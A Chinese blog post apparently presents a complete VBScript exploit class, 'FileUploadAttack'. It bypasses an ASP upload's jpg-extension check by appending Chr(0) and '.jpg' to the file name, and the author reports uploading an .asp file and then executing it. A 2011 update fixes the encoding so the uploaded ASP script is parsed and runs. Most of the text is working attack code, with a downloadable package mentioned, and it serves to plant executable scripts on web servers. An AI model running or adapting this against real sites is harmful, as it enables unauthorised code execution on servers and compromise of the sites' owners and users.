ASP上传漏洞之利用CHR(0)绕过扩展名检测脚本

今天Demon 提到了这个问题，正好想到之前看到的一篇文章《Automatic file upload using IE+ADO without user interaction - VBSscript》。这篇文章给出了本地无交互自动上传脚本的示例，正好今天可以借来一用，原脚本利用了InternetExplorer.Application组件，我改写了一下，用WinHttp.WinHttpRequest.5.1实现了类似的功能，关于这个组件更多的用法请参考《WinHttpRequest Object Reference》。

复制代码代码如下:

	
	Option Explicit 

	Function file_get_contents(filename) 

	Dim fso, f 

	Set fso = WSH.CreateObject("Scripting.FilesystemObject") 

	Set f = fso.OpenTextFile(filename, 1) 

	file_get_contents = f.ReadAll 

	f.Close 

	Set f = Nothing 

	Set fso = Nothing 

	End Function 

	' 代码修改自 http://www.motobit.com/tips/detpg_uploadvbsie/ 

	Class FileUploadAttack 

	Private m_objWinHttp 

	Private m_strUrl 

	Private m_strFieldName 

	Private Sub Class_Initialize() 

	Set m_objWinHttp = WSH.CreateObject( _ 

	"WinHttp.WinHttpRequest.5.1") 

	End Sub 

	Private Sub Class_Terminate() 

	Set m_objWinHttp = Nothing 

	End Sub 

	Public Sub setUrl(url) 

	m_strUrl = url 

	End Sub 

	Public Sub setFieldName(name) 

	m_strFieldName = name 

	End Sub 

	'Infrormations In form field header. 

	Function mpFields(FieldName, FileName, ContentType) 

	Dim MPTemplate 'template For multipart header 

	MPTemplate = "Content-Disposition: form-data; name=""{field}"";" + _ 

	" filename=""{file}""" + vbCrLf + _ 

	"Content-Type: {ct}" + vbCrLf + vbCrLf 

	Dim Out 

	Out = Replace(MPTemplate, "{field}", FieldName) 

	Out = Replace(Out, "{file}", FileName) 

	mpFields = Replace(Out, "{ct}", ContentType) 

	End Function 

	'Converts OLE string To multibyte string 

	Function StringToMB(S) 

	Dim I, B 

	For I = 1 To Len(S) 

	B = B & ChrB(Asc(Mid(S, I, 1))) 

	Next 

	StringToMB = B 

	End Function 

	'Build multipart/form-data document with file contents And header info 

	Function BuildFormData(FileContents, Boundary, _ 

	FileName, FieldName) 

	Dim FormData, Pre, Po 

	Const ContentType = "application/upload" 

	'The two parts around file contents In the multipart-form data. 

	Pre = "--" + Boundary + vbCrLf + mpFields(FieldName, _ 

	FileName, ContentType) 

	Po = vbCrLf + "--" + Boundary + "--" + vbCrLf 

	'Build form data using recordset binary field 

	Const adLongVarBinary = 205 

	Dim RS: Set RS = WSH.CreateObject("ADODB.Recordset") 

	RS.Fields.Append "b", adLongVarBinary, _ 

	Len(Pre) + LenB(FileContents) + Len(Po) 

	RS.Open 

	RS.AddNew 

	Dim LenData 

	'Convert Pre string value To a binary data 

	LenData = Len(Pre) 

	RS("b").AppendChunk (StringToMB(Pre) & ChrB(0)) 

	Pre = RS("b").GetChunk(LenData) 

	RS("b") = "" 

	'Convert Po string value To a binary data 

	LenData = Len(Po) 

	RS("b").AppendChunk (StringToMB(Po) & ChrB(0)) 

	Po = RS("b").GetChunk(LenData) 

	RS("b") = "" 

	'Join Pre + FileContents + Po binary data 

	RS("b").AppendChunk (Pre) 

	RS("b").AppendChunk (FileContents) 

	RS("b").AppendChunk (Po) 

	RS.Update 

	FormData = RS("b") 

	RS.Close 

	BuildFormData = FormData 

	End Function 

	Public Function sendFile(fileName) 

	Const Boundary = "---------------------------0123456789012" 

	m_objWinHttp.Open "POST", m_strUrl, False 

	m_objWinHttp.setRequestHeader "Content-Type", _ 

	"multipart/form-data; boundary=" + Boundary 

	Dim FileContents, FormData 

	'Get source file As a binary data. 

	FileContents = file_get_contents(FileName) 

	' 下面构造了恶意文件扩展名Chr(0) & .jpg 

	'Build multipart/form-data document 

	FormData = BuildFormData(FileContents, Boundary, _ 

	FileName & Chr(0) & ".jpg", m_strFieldName) 

	m_objWinHttp.send FormData 

	sendFile = m_objWinHttp.Status 

	End Function 

	Public Function getText() 

	getText = m_objWinHttp.ResponseText 

	End Function 

	End Class 

	Function VBMain() 

	VBMain = 0 

	Dim fileUpload 

	Set fileUpload = New FileUploadAttack 

	' 需要修改下面内容为合适内容 

	' 上传url 

	fileUpload.setUrl "http://localhost/upload/uploadfile.asp" 

	fileUpload.setFieldName "filepath" ' 上传表单框的name 

	' 需上传文件路径 

	If fileUpload.sendFile("E:\projects\asp\index.asp")=200 Then 

	MsgBox "上传成功" & fileUpload.getText() 

	Else 

	MsgBox "失败" 

	End If 

	Set fileUpload = Nothing 

	End Function 

	Call WScript.Quit(VBMain())

上传功能是随便在网上找的一个简单上传ASP文件，然后加入我在文章中《ASP/VBScript中CHR(0)的由来以及带来的安全问题》所述的GetFileExtensionName判断扩展名是否是jpg。

测试结果是：手动上传asp，失败；利用上述攻击脚本上传asp文件，成功！在上传目录中确实是asp文件，通过浏览器URL也能访问这个asp文件，只是奇怪的是显示一片空白，我这里是IIS 7，难道是IIS版本问题，或许是file_get_contents应该返回文件的二进制流？好了，这个问题先搁在这儿，还有其他事，先闪了。

所有实验代码包，在这里upload.zip（代码BUG参考下面更新说明）下载。

2011年12月25日更新

根据大家反馈的上传文件变成Unicode Little Endian编码问题，首先抱歉的是当时确实偷懒了，主要代码参考的老外的，而且老外说明了一下GetFile这个函数获取文件二进制数据，没找到这个函数实现，也懒得去弄二进制读取，直接搞了个file_get_contents获取文本数据，事实证明这样确实存在问题，下面我把补救措施说明一下吧，还是偷懒一下，直接在现有的基础上将文本数据转换为二进制数据。使用ADODB.Stream组件，函数如下：

复制代码代码如下:

	
	' 将指定charset的字符串str转换为二进制 

	Function strtobin(str, charset) 

	With WSH.CreateObject("ADODB.Stream") 

	.Type = 2 

	.Mode = 3 

	.Open 

	.Charset = charset 

	.WriteText str 

	.Flush 

	.Position = 0 

	.Type = 1 

	strtobin = .Read() 

	.Close 

	End With 

	End Function

然后将上述代码的第106行改成下面这样（以ASCII读取文本）：

复制代码代码如下:

FileContents = strtobin(file_get_contents(FileName), "ASCII")

这样改过后上传的ASP文件就是普通编码的文件了，然后浏览器访问这个文件，可以看到该ASP被成功解析。

不过这里觉得啰嗦了一点，其实可以直接以二进制打开文件并返回数据，这里进行了两步：1.以文本方式读取文件；2.将文本转换为二进制数据。一步到位的代码可以参考下面一次以二进制Byte()方式读取文件数据的函数：

复制代码代码如下:

	
	'Returns file contents As a binary data 

	Function GetFile(FileName) 

	Dim Stream: Set Stream = CreateObject("ADODB.Stream") 

	Stream.Type = 1 'Binary 

	Stream.Open 

	Stream.LoadFromFile FileName 

	GetFile = Stream.Read 

	Stream.Close 

	Set Stream = Nothing 

	End Function

更优化的代码我就不写了，主要说明的是一个上传思路，如果大家希望得到完善的上传实现，可以参考Demon的《VBS模拟POST上传文件》。